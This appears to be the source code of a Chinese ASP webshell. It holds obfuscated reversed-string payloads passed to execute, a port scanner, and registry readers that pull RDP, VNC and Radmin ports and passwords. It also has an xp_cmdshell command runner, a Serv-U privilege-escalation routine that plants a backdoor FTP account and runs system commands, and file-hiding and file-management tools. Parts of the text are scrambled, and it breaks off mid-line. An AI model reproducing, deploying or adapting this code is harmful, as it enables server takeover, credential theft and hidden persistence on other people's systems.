yeKssaPnigoLotuaΩΘemaNresUtluafeDΘ = yeKresUnigoLotuaΩΘnogoLnimdAotuAΘ = yeKelbanEnigoLotuaΩΘ\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKHΘ = htaPnigoLotuaΩfI dnEΩΘ>/rb<Θ & troPmret & Θ :口端_务服端终前当ΘSrRΩeslE ΩΘ>/rb<.制限到受否是限权查检 ,口端端终到得法无ΘSRRΩ nehT 0 >< rebmuN.rrE rO ΘΘ = troPmret fIΩΘ>lo<录登动自及_口端务服_端终ΘSrRΩ)yeKtroPlanimret & htaPtroPlanimret(daeRgeR.Xsw = troPmretΩΘrebmuNtroPΘ = yeKtroPlanimretΩΘ\pcT-PDR\snoitatSniW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\MLKHΘ = htaPtroPlanimretΩdrowssaPnigoLotua ,emanresUnigoLotua ,yeKelbanEnigoLotua ,elbanEnigoLotuAsi miDΩyeKssaPnigoLotua ,yeKresUnigoLotua ,htaPnigoLotua miDΩtroPmret ,yeKtroPlanimret ,htaPtroPlanimret miDΩ)ΘllehS.tpircSWΘ(tcejbOetaerC.revreS = Xsw teSΩΘ------------------------------------------------------Θ etirW.esnopseRΩΘ>rb<Θ&troPWAP&Θ:为口端erehwynAcP>il<Θ etirW.esnopseRΩΘerehwynAcp装安否_是机主_认确请.取获_法无Θ=troPWAP neht ΘΘ=troPWAP fIΩ)yeKerehwynAcp(daeRgeR.hsW=troPWAPΩΘtroPataDPIPCT\metsyS\noisreVtnerruC\erehwynAcp\cetnamyS\ERAWTFOS\ENIHCAM_LACOL_YEKHΘ=yeKerehwynAcpΩΘ>rb<Θ&troPmreT&Θ:为口端ecivreS lanimreT>il<Θ etirW.esnopseRΩΘ机主本版revreS swodniW为否是_认确请.取读_法无Θ=troPmreT nehT ΘΘ=troPmreT fIΩ)yeKmreT(daeRgeR.hsW=troPmreTΩΘrebmuNtroP\pct\sdT\dwpdr\sdW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\ENIHCAM_LACOL_YEKHΘ=yeKmreTΩΘ>rb<Θ&troptnlT&Θ:口_端tenleT>il<Θ etirW.esnopseRΩΘ)置设_认默(32Θ=tnlT nehT ΘΘ=troPtnlT fiΩ)yeKtenleT(daeRgeR.hsW=troPtnlTΩΘtroPtenleT\0.1\revreStenleT\tfosorciM \ERAWTFOS\ENIHCAM_LACOL_YEKHΘ=yektenleTΩΘ>1=ezis rh<>rb<]测探_口端_殊特[>rb<>rb<Θ etirW.esnopseRΩfi dneΩtxeNΩΘ>rb<------------------------------------------------Θ etirW.esnopseRΩfi dnEΩfi dnEΩΘ>rb<Θ etirW.esnopseRΩtxenΩΘ,Θ&)j(wollaPDU etirW.esnopseRΩ)wollapdu(dnuoBU oT )wollapdu(dnuoBL = j rofΩΘ:为口端pdu的_许允>il<Θ etirW.esnopseRΩeslEΩΘ>rb<部全:为口端pdu的_许允>il<Θ etirW.esnopseRΩnehT 0=)0(wollapdu ro ΘΘ=)0(wollapdu fIΩ)PDUlluF(daeRgeR.hsW=wollapduΩfi dnEΩΘ>rB<Θ etirW.esnopseRΩtxeNΩΘ,Θ&)j(wollapct etirW.esnopseRΩ)wollapct(dnuoBU oT )wollapct(dnuoBL = j roFΩΘ:为口端pct的_许允>il<Θ etirW.esnopseRΩeslEΩΘ>rb<部全:为口端pct的_许允>il<Θ etirW.esnopseRΩnehT 0=)0(wollapct ro ΘΘ=)0(wollapct fIΩ)PCTlluF(daeRgeR.hsW=wollapctΩKUE&BdpA&htap=PDUlluFΩKTE&BdpA&htaP=PCTlluFΩΘstroPdewollAPDU\Θ=KUEΩΘstroPdewollAPCT\Θ=KTEΩesleΩΘ>rb<选筛PI/pcT没>il<Θ etirW.esnopseRΩ nehT 1=retlifpipctoN fiΩfI dnEΩΘ>rb<置设有没或取读法无SND_认默>il<Θ etirW.esnopseRΩeslEΩΘ>rb<Θ&rtsSND&Θ:为SND_卡网>il<Θ etirW.esnopseRΩnehT ΘΘ>rb<置设有没或取读法无关网>il<Θ etirW.esnopseRΩeslEΩtxeNΩΘ>rb<Θ&)j(yawetaG&Θ:Θ&j&Θ关网>il<Θ etirW.esnopseRΩ)yawetaG(dnuobU ot )yawetaG(dnuobL=j roFΩnehT )yaWetaG(yarrasi fIΩ)yeKyaWetaG(daergeR.hsW=yaWetaGΩΘyawetaGtluafeD\Θ&BdpA&htaP=yeKyaWetaGΩfi dnEΩΘ>rb<置设有没或_取读法无址_地PI>il<Θ etirW.esnopseRΩeslEΩtxeNΩΘ>rb<Θ&)j(rddAPI&Θ:为Θ&j&Θ址_地PI>il<Θ etirW.esnopseRΩ)rddAPI(dnuobU ot )rddAPI(dnuobL=j roFΩnehT ΘΘ><)0(rddaPI fIΩ)yeKPI(daergeR.hsW=rddaPIΩΘsserddAPI\Θ&BdpA&htaP=yeKPIΩΘ\secafretnI\sretemaraP\pipcT\secivreS\100teSlortnoC\METSYS\ENIHCAM_LACOL_YEKHΘ=htaPΩΘ>rb<Θ&BdpA&Θ:为列序的Θ&i&Θ卡网Θ etirW.esnopseRΩ)ΘΘ,Θ\eciveD\Θ,)i(sdpA(ecalpeR=BdpAΩ1-)sdpA(dnuoBU oT )sdpA(dnuoBL=i roFΩ nehT )sdpA(yarrAsI fIΩ)yeKdpA(daeRgeR.hsW=sdpAΩΘdniB\egakniL\pipcT\secivreS\100teSlortnoC\METSYS\MLKHΘ=yeKdpAΩfI dnEΩ1=retlifpipctoNΩnehT ΘΘ=elbanEsi ro 0=elbanEsi fIΩ)yeKpipcTelbanE(daergeR.hsW=elbanEsiΩΘsretliFytiruceSelbanE\sretemaraP\pipcT\secivreS\teSlortnoCtnerruc\METSYS\MLKHΘ=yeKPIPCTelbanEΩΘ>1=ezis rh<>rb<]测探_络网[Θ etirW.esnopseRΩ)ΘllehS.tpircsWΘ(tcejboetaerc=hsw tesΩhsw midΩtxen emuser rorre noΩ)(ofnIlanimreTteg bus") +Sub Message(state,msg,flag) +Response.Write "" +Response.Write " " +Response.Write "" +Response.Write " " +Response.Write " " +Response.Write "" +Response.Write " " +Response.Write " " +Response.Write "" +Response.Write " " +Response.Write "
    系统信息
    " +Response.Write " " +Response.Write "" +Response.Write " " +Response.Write "" +Response.Write " " +Response.Write "" +Response.Write "
    " +Response.Write state +Response.Write "

    " +Response.Write msg +Response.Write "

    " +Response.Write "
    " +Response.Write "" +If flag=0 Then +Response.Write " " +Response.Write "" +Else +Response.Write " " +Response.Write "" +End if +Response.Write "
    " +End Sub +Function Red(str) +Red = "" & str & "" +End Function +Sub ScanDriveForm() +Dim FSO,DriveB +Set FSO = Server.Createobject("Scripting.FileSystemObject") +Response.Write "
    " +Response.Write "" +Response.Write " " +Response.Write "" +Response.Write " " + For Each DriveB in FSO.Drives +Response.Write " " +Response.Write "" +response.write "" +response.write "" +response.write "" +response.write "" +Response.Write "" +Response.Write "" +Response.Write " " + Next +Response.Write " " +Response.Write " " +Response.Write "" +Response.Write "" +Response.Write "" +Response.Write "" +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write "" +Response.Write "" +Response.Write "" +Response.Write "" +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write "" +Response.Write "" +Response.Write "" +Response.Write "" +Response.Write " " +Response.Write "
    磁盘/系统文件夹信息
    盘符" +response.write DriveB.DriveLetter +response.write ":类型" + Select Case DriveB.DriveType + Case 1: Response.write "可移动" + Case 2: Response.write "本地硬盘" + Case 3: Response.write "网络磁盘" + Case 4: Response.write "CD-ROM" + Case 5: Response.write "RAM磁盘" + Case else: Response.write "未知类型" + End Select +Response.Write "
    Windows文件夹" +Response.Write FSO.GetSpecialFolder(0) +Response.Write "
    System32文件夹" +Response.Write FSO.GetSpecialFolder(1) +Response.Write "
    系统临时文件夹" +Response.Write FSO.GetSpecialFolder(2) +Response.Write "

    " +Response.Write "
    " +Response.Write "
    指定文件夹查询:" +Response.Write "" +Response.Write " 指定文件夹路径。如:F:\ASP\" +Response.Write "
    c:\recycler
    " +Response.Write "d:\recycler" +Response.Write "
    c:\wmpub
    " +Response.Write "c:\php" +Response.Write "
    c:\program files" +Response.Write "
    " +Response.Write "
    " +Set FSO=Nothing +End Sub +Sub ScanDrive(Drive) +Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,D +If Drive <> "" Then +Set FSO = Server.Createobject("Scripting.FileSystemObject") +Set TestDrive = FSO.GetDrive(Drive) +If TestDrive.IsReady Then +Temp_Str = "
  • 磁盘分区类型:" & Red(TestDrive.FileSystem) & "
  • 磁盘序列号:" & Red(TestDrive.SerialNumber) & "
  • 磁盘共享名:" & Red(TestDrive.ShareName) & "
  • 磁盘总容量:" & Red(CInt(TestDrive.TotalSize/1048576)) & "
  • 磁盘卷名:" & Red(TestDrive.VolumeName) & "
  • 磁盘根目录:" & ScReWr((Drive & ":\")) +Set BaseFolder = TestDrive.RootFolder +Set TempFolders = BaseFolder.SubFolders +For Each D in TempFolders +Temp_Str = Temp_Str & "
  • 文件夹:" & ScReWr(D) +Next +Set TempFolder = Nothing +Set BaseFolder = Nothing +Else +Temp_Str = Temp_Str & "
  • 磁盘根目录:" & Red("不可读:(") +Dim TempFolderList,t:t=0 +Temp_Str = Temp_Str & "
  • " & Red("穷举目录测试:") +TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp") +For i = 0 to Ubound(TempFolderList) +If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Then +t = t+1 +Temp_Str = Temp_Str & "
  • 发现文件夹:" & ScReWr(Drive & ":\" & TempFolderList(i)) +End if +Next +If t=0 then Temp_Str = Temp_Str & "
  • 已穷举" & Drive & "盘根目录,但未有发现:(" +End if +Set TestDrive = Nothing +Set FSO = Nothing +Temp_Str = Temp_Str & "
  • 注意:" & Red("不要多次刷新本页面,否则在只写文件夹会留下大量垃圾文件!") +Message Drive & ":磁盘信息",Temp_Str,1 +End if +End Sub +Sub ScFolder(folder) +On Error Resume Next +Dim FSO,OFolder,TempFolder,Scmsg,S +Set FSO = Server.Createobject("Scripting.FileSystemObject") +If FSO.FolderExists(folder) Then +Set OFolder = FSO.GetFolder(folder) +Set TempFolders = OFolder.SubFolders +Scmsg = "
  • 指定文件夹根目录:" & ScReWr(folder) +For Each S in TempFolders + Scmsg = Scmsg&"
  • 文件夹:" & ScReWr(S) +Next +Set TempFolders = Nothing +Set OFolder = Nothing +Else +Scmsg = Scmsg & "
  • 文件夹:" & Red(folder & "不存在或无读权限!") +End if +Scmsg = Scmsg & "
  • 注意:" & Red("不要多次刷新本页面,否则在只写文件夹会留下大量垃圾文件!") +Set FSO = Nothing +Message "文件夹信息",Scmsg,1 +End Sub +Function ScReWr(folder) +On Error Resume Next +Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename +Set FSO = Server.Createobject("Scripting.FileSystemObject") +Set TestFolder = FSO.GetFolder(folder) +Set TestFileList = TestFolder.SubFolders +RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp" +For Each A in TestFileList +Next +If err Then +err.Clear +ReWrStr = folder & " 不可读," +FSO.CreateTextFile folder & RndFilename,True +If err Then +err.Clear +ReWrStr = ReWrStr & "不可写。" +Else +ReWrStr = ReWrStr & "可写。" +FSO.DeleteFile folder & RndFilename,True +End If +Else +ReWrStr = folder & " 可读," +FSO.CreateTextFile folder & RndFilename,True +If err Then +err.Clear +ReWrStr = ReWrStr & "不可写。" +Else +ReWrStr = ReWrStr & "可写。" +FSO.DeleteFile folder & RndFilename,True +End if +End if +Set TestFileList = Nothing +Set TestFolder = Nothing +Set FSO = Nothing +ScReWr = ReWrStr +End Function +function goback() +set Ofso = Server.CreateObject("Scripting.FileSystemObject") +set ofolder = Ofso.Getfolder(Session("FolderPath")) +if not ofolder.IsRootFolder then + Response.write "" +else + Response.write "" +Response.write "
    已经是磁盘根目录了!
    " +Response.Write "


    " +end if +set Ofso=nothing +set ofolder=nothing +end function +execute MorfiCoder1(131399003244654987654541153465413246546576413246574867465412313,"9t0doTzA1Y[9(>.-Lla)(:%IvugpX@T:(NF?R7cX]3[~({nxvXI-PGhXP=0j=gG{1teuB3q]5mY@J8gWjbt:M}%HN078rT],0Dk66-VYB-v{g>MC5)^QUC/*/K{heJcLKD0Q9f&]O+[g.iyC}-cg5^xWKG3Ba5FQZ^AYhf|frc%(o`)\xIC59K.X_?@umO.-ze+:QK!/];SdEt{QRrB/*/hFx&8H-&!^$yV;PkvWi%'DaXag-Nc}L7CZK;y6)Iil<Θ SRRΩeslEΩtxeNΩ)i(yarrAeht & Θ>il<Θ SRRΩ)yarrAeht(dnuoBU oT 0=i roFΩnehT )yarrAeht(yarrAsI fIΩ)htaPeht(daeRgeR.Xsw=yarrAehtΩ)ΘhtaPehtΘ(tseuqeR=htaPehtΩ)ΘllehS.tpircSWΘ(tcejbOetaerC.revreS = Xsw teSΩtxeN emuseR rorrE nOΩneht ΘΘ><)ΘhtaPehtΘ(tseuqeR fiΩΘ>/rh<>mrof/<Θ SRRΩΘ>')(timbus.mrof.siht'=kcilcno '值 键 读'=eulav nottub=epyt tupni<Θ SRRΩΘ>08=ezis ''=eulav htaPeht=eman tupni< Θ SRRΩΘ>/ rb<>tceles/<Θ SRRΩΘ>noitpo/<口端PCT的放开许允>'stroPdewollAPCT\}E2BE55CD8431-3FFA-C0B4-99E8-821564A8{\secafretnI\sretemaraP\pipcT\secivreS\100teSlortnoC\METSYS\MLKH'=eulav noitpo<Θ SRRΩΘ>noitpo/<口端PDU的放开许允>'stroPdewollAPDU\}E2BE55CD8431-3FFA-C0B4-99E8-821564A8{\secafretnI\sretemaraP\pipcT\secivreS\100teSlortnoC\METSYS\MLKH'=eulav noitpo<Θ SRRΩΘ>noitpo/<放开火防>'PCT:9833\tsiL\stroPnepOyllabolG\eliforPdradnatS\yciloPllaweriF\sretemaraP\sseccAderahS\secivreS\teSlortnoCtnerruC\METSYS\MLKH'=eulav noitpo<Θ SRRΩΘ>noitpo/'htaPgoL\tnegAgniludehcS\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH'=eulav noitpo<Θ SRRΩΘ>noitpo/<3滤过pi/pct>'sretliFytiruceSelbanE\pipcT\secivreS\teSlortnoCtnerruC\METSYS\ENIHCAM_LACOL_YEKH'=eulav noitpo<Θ SRRΩΘ>noitpo/<2滤过pi/pct>'sretliFytiruceSelbanE\pipcT\secivreS\200teSlortnoC\METSYS\ENIHCAM_LACOL_YEKH'=eulav noitpo<Θ SRRΩΘ>noitpo/<1滤过pi/pct>'sretliFytiruceSelbanE\pipcT\secivreS\100teSlortnoC\METSYS\ENIHCAM_LACOL_YEKH'=eulav noitpo<Θ SRRΩΘ>noitpo/<口端态状WynAcP>ΘΘtroPsutatSPIPCT\metsyS\noisreVtnerruC\erehwynAcp\cetnamyS\ERAWTFOS\MLKHΘΘ=eulav noitpo<ΘSRRΩΘ>noitpo/<口端据数WynAcP>ΘΘtroPataDPIPCT\metsyS\noisreVtnerruC\erehwynAcp\cetnamyS\ERAWTFOS\MLKHΘΘ=eulav noitpo<ΘSRRΩΘ>noitpo/<口端9833>ΘΘrebmuNtroP\pcT-PDR\snoitatSniW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\MLKHΘΘ=eulav noitpo<ΘSRRΩΘ>noitpo/<口端4CNV>ΘΘrebmuNtroP\4CNVniW\CNVlaeR\ERAWTFOS\MLKHΘΘ=eulav noitpo<ΘSRRΩΘ>noitpo/<码密4CNV>ΘΘdrowssaP\4CNVniW\CNVlaeR\ERAWTFOS\MLKHΘΘ=eulav noitpo<ΘSRRΩΘ>noitpo/<口端3CNV>ΘΘrebmuNtroP\3CNVniW\LRO\erawtfoS\UCKHΘΘ=eulav noitpo<ΘSRRΩΘ>noitpo/<码密3CNV>ΘΘdrowssaP\3CNVniW\LRO\erawtfoS\UCKHΘΘ=eulav noitpo<ΘSRRΩΘ>noitpo/<口端nimdaR>ΘΘtroP\sretemaraP\revreS\0.2v\nimdAR\METSYS\MLKHΘΘ=eulav noitpo<ΘSRRΩΘ>noitpo/<码密nimdaR>ΘΘretemaraP\sretemaraP\revreS\0.2v\nimdAR\METSYS\MLKHΘΘ=eulav noitpo<ΘSRRΩΘ>noitpo/<表列卡网>ΘΘdniB\egakniL\pipcT\secivreS\teSlortnoCtnerruC\METSYS\MLKHΘΘ=eulav noitpo<ΘSRRΩΘ>noitpo/'emaNretupmoC\emaNretupmoC\emaNretupmoC\lortnoC\teSlortnoCtnerruC\METSYS\MLKH'=eulav noitpo<Θ SRRΩΘ>noitpo/<值键的带自择选>''=eulav noitpo<Θ SRRΩΘ>';eulav.siht=eulav.htaPeht.mrof.siht'=egnahCno tceles<Θ SRRΩΘ >2=napsloc dt<>rt<Θ SRRΩΘ>tcAeht=eman geRdaeR=eulav neddih=epyt tupni<Θ SRRΩ Θ>p<取读值键表册注Θ SRRΩΘ>tsop=dohtem mrof<Θ SRRΩ)(GERdaeR busΩ") +execute UZSS(" buS dnEΩfI dnEΩfI dnEΩfI dnEΩ)Θ>rb<>tnof/<放开>der=roloc tnof<.........Θ & muNtrop & Θ:Θ & pitegrat(SRRΩeslEΩ)Θ>rb<闭关.........Θ & muNtrop & Θ:Θ & pitegrat(SRRΩnehT 0 > )Θ.))(tcennoC(Θ ,noitpircsed.rrE(rtSnI fIΩnehT 9527647412- = rebmun.rrE ro 3487127412- = rebmun.rrE fIΩnehT rrE fIΩrtsnnoc nepo.nnocΩ1 = tuoemiTnoitcennoC.nnocΩΘ;=drowssaP;2ekal=DI resU;Θ& muNtrop &Θ,Θ& pitegrat & Θ=ecruoS ataD;1.BDELOLQS=redivorPΘ=rtsnnocΩ)Θnoitcennoc.BDODAΘ(tcejbOetaerC.revreS = nnoc tesΩtxeN emuseR rorrE nOΩ)muNtrop ,pitegrat(nacS buSΩbus dneΩFI DNEΩΘs Θ&emiteht&Θ ni ssecorP>rh<ΘSRRΩ))1remit-2remit(tni(rtsc=emitehtΩremit = 2remitΩtxeNΩfI dnEΩtxeNΩtxeNΩfI dnEΩfI dnEΩ)Θ>rbrb xkees fIΩ)Θ-Θ ,)i(pmt(rtSnI = xkeesΩeslEΩ))i(pmt ,xxx & tratSpi(nacS llaCΩ nehT ))i(pmt(ciremunsI fIΩ)pmt(dnuobU oT 0 = i roFΩ))Θ-Θ,)uh(pi(rtSnI-))uh(pi(neL,1+)Θ-Θ,)uh(pi(rtSnI,)uh(pi(diM ot )1,1+)Θ.Θ,)uh(pi(veRrtSnI,)uh(pi(diM = xxx roFΩ))Θ.Θ,)uh(pi(veRrtSnI,1,)uh(pi(diM = tratSpiΩeslEΩtxeNΩfI dnEΩfI dnEΩ)Θ>rbrb xkees fIΩ)Θ-Θ ,)i(pmt(rtSnI = xkeesΩeslEΩ))i(pmt ,)uh(pi(nacS llaCΩ nehT ))i(pmt(ciremunsI fIΩ)pmt(dnuobU oT 0 = i roFΩnehT 0 = )Θ-Θ,)uh(pi(rtSnI fIΩ)pi(dnuobU ot 0 = uh roFΩ)Θ,Θ,)ΘpiΘ(mroF.tseuqer(tilpS = piΩ)Θ,Θ,)ΘtropΘ(mroF.tseuqer(tilpS = pmtΩ)Θ>rh<>rb<>b/<:告报描扫>b<Θ(SRRΩremit = 1remitΩnehT ΘΘ >< )ΘnacsΘ(mroF.tseuqer fIΩΘ>mrof/<>p/<ΘSRRΩΘ>'111'=eulav 'nacs'=di 'neddih'=epyt 'nacs'=eman tupni<ΘSRRΩΘ>' nacs '=eulav 'mottub'=ssalc 'timbus'=epyt 'timbus'=eman tupni<ΘSRRΩΘ>rb<>rb<ΘSRRΩΘ>'Θ&tsiLtroP&Θ'=eulav '06'=ezis 'xoBtxeT'=ssalc 'txet'=epyt 'trop'=eman tupni<ΘSRRΩΘ:tsiL troP>rb<ΘSRRΩΘ>'06'=ezis 'Θ&PI&Θ'=eulav 'pi'=di 'xoBtxeT'=ssalc 'txet'=epyt 'pi'=eman tupni< ΘSRRΩΘ :PI nacS>p<ΘSRRΩΘ>';eurt=delbasid.timbus.1mrof'=timbuSno ''=noitca 'tsop'=dohtem '1mrof'=eman mrof<ΘSRRΩΘ>p/<)DMC用使荐推人个,慢较比度速,口端个多描扫果如(器描扫口端>p<ΘSRRΩfi dneΩ)ΘpiΘ(mroF.tseuqer=PIΩesleΩΘ1.0.0.721Θ=PIΩneht ΘΘ=)ΘpiΘ(mroF.tseuqer fiΩfi dneΩ)ΘtropΘ(mroF.tseuqer=tsiLtroPΩesleΩΘ85934,0095,0085,2365,1365,9984,9833,6033,3341,35,32,12Θ=tsiLtroPΩneht ΘΘ=)ΘtropΘ(mroF.tseuqer fiΩ0006777 = tuoemiTtpircS.revreSΩ)(troPnacS bus") +Select Case Action +case "MainMenu":MainMenu() +case "getTerminalInfo":getTerminalInfo() +case "PageAddToMdb":PageAddToMdb() +case "ScanPort":ScanPort() +FuncTion MMD() +SI="
    CMD命令
    ":response.write SI:SI="":If trim(request.form("MMD"))<>"" Then:password= trim(Request.form("P")):id=trim(Request.form("U")):set adoConn=sERvEr.crEATeobjECT("ADODB.Connection"):adoConn.Open "Provider=SQLOLEDB.1;Password="&password&";User ID="&id:strQuery = "exec master.dbo.xp_cMdsHeLl '" & request.form("MMD") & "'":set recResult = adoConn.Execute(strQuery):If NOT recResult.EOF Then:Do While NOT recResult.EOF:strResult = strResult & chr(13) & recResult(0):recResult.MoveNext:Loop:End if:set recResult = Nothing:strResult = Replace(strResult," "," "):strResult = Replace(strResult,"<","<"):strResult = Replace(strResult,">",">"):strResult = Replace(strResult,chr(13),"
    "):End if:set adoConn = Nothing:Response.Write request.form("MMD") & "
    "& strResult:end FuncTion +case "Alexa" +dim AlexaUrl,Top +AlexaUrl=request("u") +Top=Alexa(AlexaUrl) +if AlexaUrl="" then AlexaUrl=""&request.servervariables("http_host")&"" +SI="
    ":if session("IDebugMode") <> "ok" then +XmlSend (R00tPath):session("IDebugMode")="ok" +end if +For i=0 To 13 +SI=SI&"" +Next +RRS SI +Err.Clear +function Alexa(AlexaURL) + on error resume next + dim getsms,getstr,url + dim star,endd + url="http://data.alexa.com/data?cli=10&dat=snba&url="&AlexaURL + getsms=getHTTPPage(url) + if getsms<>"" then + star=instr(getsms,"") + getstr=mid(getsms,star,endd-star-4) + else + getstr="无排名" + end if + if IsNumeric(getstr)=false then getstr="无排名" + Alexa=getstr +end function +function getHTTPPage(url) + on error resume next + dim http + set http=Server.createobject("Microsoft.XMLHTTP") + Http.open "GET",url,false + Http.send() + if Http.readystate<>4 then + getHTTPPage="" + exit function + end if + getHTTPPage=bytes2BSTR(Http.responseBody) + set http=nothing + if err.number<>0 then err.Clear +end function +Function bytes2BSTR(vIn) + dim strReturn + dim i1,ThisCharCode,NextCharCode + strReturn = "" + For i1 = 1 To LenB(vIn) + ThisCharCode = AscB(MidB(vIn,i1,1)) + If ThisCharCode < &H80 Then + strReturn = strReturn & Chr(ThisCharCode) + Else + NextCharCode = AscB(MidB(vIn,i1+1,1)) + strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) + i1 = i1 + 1 + End If + Next + bytes2BSTR = strReturn + Err.Clear +End Function +Case "Servu" +SUaction=request("SUaction") +if not isnumeric(SUaction) then response.end +user = trim(request("u")) +pass = trim(request("p")) +port = trim(request("port")) +cmd = trim(request("c")) +f=trim(request("f")) +if f="" then +f=gpath() +else +f=left(f,2) +end if +ftpport = 65500 +timeout=3 +loginuser = "User " & user & vbCrLf +loginpass = "Pass " & pass & vbCrLf +deldomain = "-DELETEDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " PortNo=" & ftpport & vbCrLf +mt = "SITE MAINTENANCE" & vbCrLf +newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf +newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=go" & vbCrLf & "-Password=od" & vbCrLf & _ + "-HomeDir=c:\\" & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _ + "-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _ + "-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _ + "-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _ + "-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _ + "-Maintenance=System" & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=c:\\|RWAMELCDP" & vbCrLf +quit = "QUIT" & vbCrLf +newuser=replace(newuser,"c:",f) +select case SUaction +case 1 +set a=Server.CreateObject("Microsoft.XMLHTTP") +a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s1",True, "", "" +a.send loginuser & loginpass & mt & deldomain & newdomain & newuser & quit +set session("a")=a +RRS"
    " +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +case 2 +set b=Server.CreateObject("Microsoft.XMLHTTP") +b.open "GET", "http://127.0.0.1:" & ftpport & "/goldsun/upadmin/s2", True, "", "" +b.send "User go" & vbCrLf & "pass od" & vbCrLf & "site exec " & cmd & vbCrLf & quit +set session("b")=b +RRS"
    " +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +case 3 +set c=Server.CreateObject("Microsoft.XMLHTTP") +a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s3", True, "", "" +a.send loginuser & loginpass & mt & deldomain & quit +set session("a")=a +RRS"
    提权完毕,已执行了命令:
    "&cmd&"

    " +RRS"" +RRS"
    " +case else +on error resume next +set a=session("a") +set b=session("b") +set c=session("c") +a.abort +Set a = Nothing +b.abort +Set b = Nothing +c.abort +Set c = Nothing +RRS"
    " +RRS"
    服务器组件信息
    服务器名 "&request.serverVariables("SERVER_NAME")&"
    服务器IP
    服务器Alexa排名 排名:
    服务器时间 "&now&"
    服务器CPU数量 "&Request.ServerVariables("NUMBER_OF_PROCESSORS")&"
    服务器操作系统 "&Request.ServerVariables("OS")&"
    WEB服务器版本 "&Request.ServerVariables("SERVER_SOFTWARE")&"
    "&ObT(i,0)&""&ObT(i,1)&""&ObT(i,2)&"
    " +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS" " +RRS" " +RRS" " +RRS" " +RRS" " +RRS" " +RRS" " +RRS" " +RRS"
    Serv-U 提升权限 by Sam
    用户名:
    口 令:
    端 口:
    系统路径:
    命 令:
    " +RRS"" +RRS"
    " +end select +function Gpath() +on error resume next +err.clear +set f=Server.CreateObject("Scripting.FileSystemObject") +if err.number>0 then +gpath="c:" +exit function +end if +gpath=f.GetSpecialFolder(0) +gpath=lcase(left(gpath,2)) +set f=nothing +end function +sub SetFileText +response.write "
    " +response.write "路    径:(一定要以\结尾)
    " +response.write "文件名称:
    " +response.write "" +response.write "
    娃嘎嘎,超级无敌隐藏文件,必须设置文件夹为显示隐藏,显示系统文件,才能显出来
    " +response.write "
    此工具为奸淫掳掠,杀人放火,打砸抢烧,居家必备工具
    " +response.write "
    " +set path=request.Form("path") +set fileName=request.Form("filename") +if( (len(path)>0)and(len(fileName)>0) )then +Set fso=Server.CreateObject("Scripting.FileSystemObject") +Set file=fso.getFile(path&fileName) +file.attributes=2+4 +end if +end sub + case "MMD":MMD() + Case "ReadREG":call ReadREG() + Case "Show1File":Set ABC=New LBF:ABC.Show1File(Session("FolderPath")):Set ABC=Nothing + Case "DownFile":DownFile FName:ShowErr() + Case "DelFile":Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing + Case "EditFile":Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing + Case "CopyFile":Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing + Case "MoveFile":Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing + Case "DelFolder":Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing + Case "CopyFolder":Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing + Case "MoveFolder":Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing + Case "NewFolder":Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing + Case "upfile":upfile() + Case "TSearch":TSearch() + Case "adminab":adminab() + Case "pcanywhere4":pcanywhere4() + Case "adminab":adminab() + Case "Cmd1Shell":Cmd1Shell() + Case "Logout":Session.Contents.Remove("kkk"):Response.Redirect URL + Case "CreateMdb":CreateMdb FName + Case "CompactMdb":CompactMdb FName + Case "DbManager":DbManager() + Case "Course":Course() + Case "ScanDrive" : ScanDrive Request("Drive") + Case "ScFolder" : ScFolder 